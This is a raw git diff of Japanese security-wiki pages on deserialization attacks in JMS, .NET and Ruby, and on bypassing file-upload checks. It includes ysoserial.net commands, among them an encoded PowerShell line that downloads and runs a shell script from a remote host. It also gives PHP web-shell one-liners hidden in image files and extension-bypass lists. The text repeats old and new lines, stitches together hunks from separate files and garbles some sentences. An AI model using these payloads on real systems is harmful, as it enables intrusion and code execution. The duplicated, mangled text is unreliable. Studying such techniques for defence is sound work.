> **Javaメッセージサービス**(**JMS**)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサー–コンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディション(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、および読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く非同期にすることを可能にします。(出典: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service))。
|
||||
|
||||
### 製品
|
||||
|
||||
このミドルウェアを使用してメッセージを送信する製品がいくつかあります:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
### 悪用
|
||||
|
||||
基本的に、**危険な方法でJMSを使用しているサービスが多数存在します**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要です)、**デシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります**。\
|
||||
これは、この悪用において、**そのメッセージを使用するすべてのクライアントが感染する**ことを意味します。
|
||||
|
||||
サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するためには有効なガジェットを見つける必要があることを忘れないでください。
|
||||
|
||||
ツール[JMET](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用してシリアライズされた複数の悪意のあるオブジェクトを送信することで、これらのサービスに接続して攻撃するために作成されました**。これらのエクスプロイトは、サービスが依然として脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
|
||||
|
||||
### 参考文献
|
||||
|
||||
- JMETトーク: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- スライド: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
|
||||
.Netの文脈において、デシリアライズの悪用は、Javaで見られるものと同様の方法で動作し、ガジェットがデシリアライズ中に特定のコードを実行するために悪用されます。
|
||||
|
||||
### フィンガープリンティング
|
||||
|
||||
#### ホワイトボックス
|
||||
|
||||
ソースコード内で以下の出現を検査する必要があります:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
ユーザー制御下の変数によってタイプを決定できるシリアライザーに焦点を当てるべきです。
|
||||
|
||||
#### ブラックボックス
|
||||
|
||||
検索は、Base64エンコードされた文字列**AAEAAAD/////**またはサーバー側でデシリアライズされる可能性のある類似のパターンをターゲットにする必要があります。これには、`TypeObject`や`$type`を含むがこれに限定されない**JSON**または**XML**構造が含まれる可能性があります。
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**デシリアライズの悪用を作成する**ことができます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用して**ツールをコンパイルする**必要があります。
|
||||
|
||||
**ysoserial.netがどのように悪用を作成するか**について学びたい場合は、[**ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明しているこのページを確認してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
|
||||
|
||||
**ysoserial.net**の主なオプションは、**`--gadget`**、**`--formatter`**、**`--output`**、および**`--plugin`**です。
|
||||
|
||||
- **`--gadget`**は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。
|
||||
- **`--formatter`**は、悪用をシリアライズする方法を示すために使用されます(ペイロードをデシリアライズするためにバックエンドが使用しているライブラリを知り、それを使用してシリアライズする必要があります)。
|
||||
- **`--output`**は、悪用を**生**または**base64**エンコードされた形式で取得したいかどうかを示すために使用されます。_注意してください、**ysoserial.net**はペイロードを**UTF-16LE**(Windowsでデフォルトで使用されるエンコーディング)を使用して**エンコード**しますので、生のペイロードを取得してLinuxコンソールからエンコードすると、悪用が正しく機能しない**エンコーディングの互換性の問題**が発生する可能性があります(HTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません)。_
|
||||
- **`--plugin`**ysoserial.netは、ViewStateのような**特定のフレームワーク用の悪用を作成するためのプラグインをサポートしています**。
|
||||
|
||||
#### 追加のysoserial.netパラメータ
|
||||
|
||||
- `--minify`は**小さいペイロード**を提供します(可能な場合)。
|
||||
- `--raf -f Json.Net -c "anything"`これは、提供されたフォーマッタ(この場合は`Json.Net`)で使用できるすべてのガジェットを示します。
|
||||
- `--sf xml`は**ガジェット**(`-g`)を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します(大文字と小文字を区別しない)。
|
||||
|
||||
**ysoserialの例**を使用して悪用を作成します:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
@ -601,8 +678,8 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
#Create exploit using the created B64 shellcode
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** には、各エクスプロイトの動作をよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\
|
||||
このパラメータを指定すると、 **ysoserial.net** は **ローカルでエクスプロイトを試みます** ので、ペイロードが正しく機能するかテストできます。\
|
||||
**ysoserial.net** には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\
|
||||
このパラメータを指定すると、**ysoserial.net** は **ローカルでエクスプロイトを試みる** ので、ペイロードが正しく機能するかどうかをテストできます。\
|
||||
このパラメータは便利です。なぜなら、コードをレビューすると、次のようなコードの断片が見つかるからです (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
@ -617,7 +694,7 @@ Debugging.ShowErrors(inputArgs, err);
|
||||
}
|
||||
}
|
||||
```
|
||||
これは、エクスプロイトをテストするためにコードが [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) を呼び出すことを意味します。
|
||||
これは、エクスプロイトをテストするために、コードが [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) を呼び出すことを意味します。
|
||||
```java
|
||||
public static object JsonNet_deserialize(string str)
|
||||
{
|
||||
@ -628,8 +705,8 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
return obj;
|
||||
}
|
||||
```
|
||||
**前のコードは作成されたエクスプロイトに対して脆弱です**。したがって、.Netアプリケーションで同様のものを見つけた場合、そのアプリケーションも脆弱である可能性があります。\
|
||||
そのため、**`--test`**パラメータは、**ysoserial.net**が作成できるデシリアライズエクスプロイトに対して**どのコードのチャンクが脆弱であるかを理解する**のに役立ちます。
|
||||
In the **前のコードは作成されたエクスプロイトに脆弱です**。したがって、.Netアプリケーションで同様のものを見つけた場合、そのアプリケーションも脆弱である可能性があります。\
|
||||
そのため、**`--test`**パラメータは、**どのコードのチャンクが**ysoserial.net**によって作成されるデシリアライズエクスプロイトに脆弱であるかを理解するのに役立ちます。**
|
||||
|
||||
### ViewState
|
||||
|
||||
@ -637,30 +714,30 @@ return obj;
|
||||
|
||||
### Prevention
|
||||
|
||||
.Netにおけるデシリアライズに関連するリスクを軽減するために:
|
||||
デシリアライズに関連するリスクを軽減するために、.Netで:
|
||||
|
||||
- **データストリームがそのオブジェクトタイプを定義することを許可しない。** 可能な場合は`DataContractSerializer`または`XmlSerializer`を利用してください。
|
||||
- **`JSON.Net`の場合、`TypeNameHandling`を`None`に設定する:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
- **`JavaScriptSerializer`を`JavaScriptTypeResolver`と共に使用しない。**
|
||||
- **デシリアライズ可能なタイプを制限し、`System.IO.FileInfo`のような.Netタイプに内在するリスクを理解する。** これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。
|
||||
- **リスクのあるプロパティを持つタイプに注意する。** 例えば、`System.ComponentModel.DataAnnotations.ValidationException`の`Value`プロパティは悪用される可能性があります。
|
||||
- **攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御する。** これにより、`DataContractSerializer`や`XmlSerializer`でさえ脆弱になります。
|
||||
- **`BinaryFormatter`と`JSON.Net`のためにカスタム`SerializationBinder`を使用してホワイトリスト制御を実装する。**
|
||||
- **.Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにする。**
|
||||
- **インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、`System.Windows.Data.ObjectDataProvider`のような既知のガジェットを信頼できないデータソースにさらさないようにする。**
|
||||
- **データストリームにオブジェクトタイプを定義させないようにします。** 可能な場合は`DataContractSerializer`または`XmlSerializer`を利用してください。
|
||||
- **`JSON.Net`の場合、`TypeNameHandling`を`None`に設定します:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
- **`JavaScriptSerializer`を`JavaScriptTypeResolver`と一緒に使用しないでください。**
|
||||
- **デシリアライズ可能なタイプを制限し、`System.IO.FileInfo`のような.Netタイプに内在するリスクを理解します。これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。**
|
||||
- **リスクのあるプロパティを持つタイプに注意してください。** 例えば、`System.ComponentModel.DataAnnotations.ValidationException`の`Value`プロパティは悪用される可能性があります。
|
||||
- **攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御します。これにより、`DataContractSerializer`や`XmlSerializer`でさえ脆弱になります。**
|
||||
- **`BinaryFormatter`と`JSON.Net`のためにカスタム`SerializationBinder`を使用してホワイトリスト制御を実装します。**
|
||||
- **.Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにします。**
|
||||
- **インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、`System.Windows.Data.ObjectDataProvider`のような既知のガジェットを信頼できないデータソースにさらさないようにします。**
|
||||
|
||||
### **References**
|
||||
|
||||
- Javaと.NetのJSONデシリアライズに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) とスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Javaと.NetのJSONデシリアライズに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、**トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
|
||||
## **Ruby**
|
||||
|
||||
Rubyでは、シリアライズは**marshal**ライブラリ内の2つのメソッドによって実現されます。最初のメソッドは**dump**として知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアライズと呼ばれます。逆に、2番目のメソッド**load**は、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。
|
||||
Rubyでは、シリアル化は**marshal**ライブラリ内の2つのメソッドによって行われます。最初のメソッドは**dump**として知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッド**load**は、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。
|
||||
|
||||
シリアライズされたオブジェクトを保護するために、**RubyはHMAC(Hash-Based Message Authentication Code)**を使用し、データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:
|
||||
シリアル化されたオブジェクトを保護するために、**RubyはHMAC(Hash-Based Message Authentication Code)**を使用し、データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
@ -742,7 +819,7 @@ puts Base64.encode64(payload)
|
||||
|
||||
### Ruby .send() メソッド
|
||||
|
||||
[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**他の任意のメソッドを**任意のパラメータで呼び出すことを可能にします。
|
||||
[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**任意の他のメソッド**を任意のパラメータで呼び出すことを可能にします。
|
||||
|
||||
例えば、evalを呼び出し、次にrubyコードを第二パラメータとして渡すことで、任意のコードを実行することができます:
|
||||
```ruby
|
||||
@ -773,21 +850,21 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
### Rubyクラス汚染
|
||||
|
||||
[Rubyクラスを汚染し、ここでそれを悪用する方法を確認してください](ruby-class-pollution.md)。
|
||||
[ここでRubyクラスを汚染し、悪用する方法を確認してください](ruby-class-pollution.md)。
|
||||
|
||||
### Ruby _json汚染
|
||||
|
||||
ボディに配列のようなハッシュ化できない値を送信すると、それらは新しいキー`_json`に追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認証バイパスが行われる可能性があります。
|
||||
ボディにハッシュ化できない値(配列など)を送信すると、それらは新しいキー`_json`に追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認可バイパスが行われる可能性があります。
|
||||
|
||||
[Ruby _json汚染ページで詳細情報を確認してください](ruby-_json-pollution.md)。
|
||||
|
||||
### その他のライブラリ
|
||||
|
||||
この技術は[**このブログ投稿から**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)取得されました。
|
||||
この技術は[**このブログ記事から**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)取得されました。
|
||||
|
||||
オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、それらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています(基本的にRCEを得るために悪用する関数):
|
||||
オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、これらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています(基本的にRCEを得るために悪用する関数):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内のキックオフメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>バイナリ</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>(クラスはハッシュ(マップ)のキーとして配置する必要があります)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>(クラスはハッシュ(マップ)のキーとして配置する必要があります)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>(クラスはハッシュ(マップ)のキーとして配置する必要があります)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>([json_createに関するノートを最後に参照](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内のキックオフメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>バイナリ</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>([json_createに関するノートを最後に参照](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
基本的な例:
|
||||
```ruby
|
||||
@ -811,7 +888,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すガジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になりました。これにより、この種の未サニタイズのデシリアライズ脆弱性の優れた検出器が得られました。
|
||||
Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すガジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になり、これらの未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -845,6 +922,41 @@ Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すガ
|
||||
}
|
||||
}
|
||||
```
|
||||
詳細については、[**元の投稿**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)を確認してください。
|
||||
[**元の投稿**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)の詳細を確認してください。
|
||||
|
||||
### ブートストラップキャッシング
|
||||
|
||||
実際にはデシリアライズの脆弱性ではありませんが、ブートストラップキャッシングを悪用して、任意のファイル書き込みからRailsアプリケーションでRCEを取得するための素晴らしいトリックです(完全な[元の投稿はこちら](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)で見つけてください)。
|
||||
|
||||
以下は、Bootsnapキャッシングを悪用して任意のファイル書き込み脆弱性を悪用するための記事で詳述された手順の短い要約です:
|
||||
|
||||
- 脆弱性と環境の特定
|
||||
|
||||
Railsアプリのファイルアップロード機能は、攻撃者が任意にファイルを書き込むことを許可します。アプリは制限付きで実行されます(Dockerの非ルートユーザーのため、tmpのような特定のディレクトリのみが書き込み可能)が、これによりBootsnapキャッシュディレクトリ(通常はtmp/cache/bootsnapの下)への書き込みが可能になります。
|
||||
|
||||
- Bootsnapのキャッシュメカニズムの理解
|
||||
|
||||
Bootsnapは、コンパイルされたRubyコード、YAML、およびJSONファイルをキャッシュすることでRailsの起動時間を短縮します。キャッシュファイルにはキャッシュキーヘッダー(Rubyバージョン、ファイルサイズ、mtime、コンパイルオプションなどのフィールドを含む)が含まれ、その後にコンパイルされたコードが続きます。このヘッダーは、アプリの起動時にキャッシュを検証するために使用されます。
|
||||
|
||||
- ファイルメタデータの収集
|
||||
|
||||
攻撃者は、Railsの起動時に読み込まれる可能性のあるターゲットファイル(例えば、Rubyの標準ライブラリからのset.rb)を最初に選択します。コンテナ内でRubyコードを実行することで、重要なメタデータ(RUBY_VERSION、RUBY_REVISION、サイズ、mtime、compile_optionなど)を抽出します。このデータは、有効なキャッシュキーを作成するために不可欠です。
|
||||
|
||||
- キャッシュファイルパスの計算
|
||||
|
||||
BootsnapのFNV-1a 64ビットハッシュメカニズムを再現することで、正しいキャッシュファイルパスが決定されます。このステップにより、悪意のあるキャッシュファイルがBootsnapが期待する場所(例:tmp/cache/bootsnap/compile-cache-iseq/の下)に正確に配置されることが保証されます。
|
||||
|
||||
- 悪意のあるキャッシュファイルの作成
|
||||
|
||||
攻撃者は、以下のことを行うペイロードを準備します:
|
||||
|
||||
- 任意のコマンドを実行する(例えば、プロセス情報を表示するためにidを実行)。
|
||||
- 再帰的な悪用を防ぐために、実行後に悪意のあるキャッシュを削除。
|
||||
- アプリケーションがクラッシュしないように元のファイル(例:set.rb)を読み込む。
|
||||
|
||||
このペイロードは、バイナリRubyコードにコンパイルされ、慎重に構築されたキャッシュキーのヘッダー(以前に収集したメタデータとBootsnapの正しいバージョン番号を使用)と連結されます。
|
||||
|
||||
- 上書きと実行のトリガー
|
||||
任意のファイル書き込み脆弱性を使用して、攻撃者は計算された場所に作成したキャッシュファイルを書き込みます。次に、サーバーの再起動をトリガーします(tmp/restart.txtに書き込むことで、Pumaによって監視されています)。再起動中、Railsがターゲットファイルを要求すると、悪意のあるキャッシュファイルが読み込まれ、リモートコード実行(RCE)が発生します。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -18,10 +18,10 @@
|
||||
### ファイル拡張子チェックのバイパス
|
||||
|
||||
1. 適用される場合、**前の拡張子をチェック**します。また、いくつかの**大文字**を使用してテストします: _pHp, .pHP5, .PhAr ..._
|
||||
2. _実行拡張子の前に**有効な拡張子を追加する**ことをチェックします(前の拡張子も使用):_
|
||||
2. _実行拡張子の前に**有効な拡張子を追加**してチェックします(前の拡張子も使用):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**を使用することも試すことができます_)
|
||||
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**を使用することも試みることができます_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -51,7 +51,7 @@
|
||||
```
|
||||
# Linuxの最大255バイト
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここから4を引いて.pngを追加
|
||||
# ファイルをアップロードし、許可される文字数の応答を確認します。236としましょう
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -59,40 +59,40 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### コンテンツタイプ、マジックナンバー、圧縮およびリサイズのバイパス
|
||||
### コンテンツタイプ、マジックナンバー、圧縮&リサイズのバイパス
|
||||
|
||||
- **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- ファイルの先頭に**実際の画像のバイト**を追加して**マジックナンバー**チェックをバイパスします(_file_コマンドを混乱させます)。または、**メタデータ**内にシェルを挿入します:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` または、画像にペイロードを**直接挿入する**こともできます:\
|
||||
`\` または、画像にペイロードを**直接挿入**することもできます:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- 画像に**圧縮が追加されている**場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||||
- **圧縮**が画像に追加されている場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
|
||||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。しかし、**IDATチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||||
- ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。しかし、**IDATチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
|
||||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
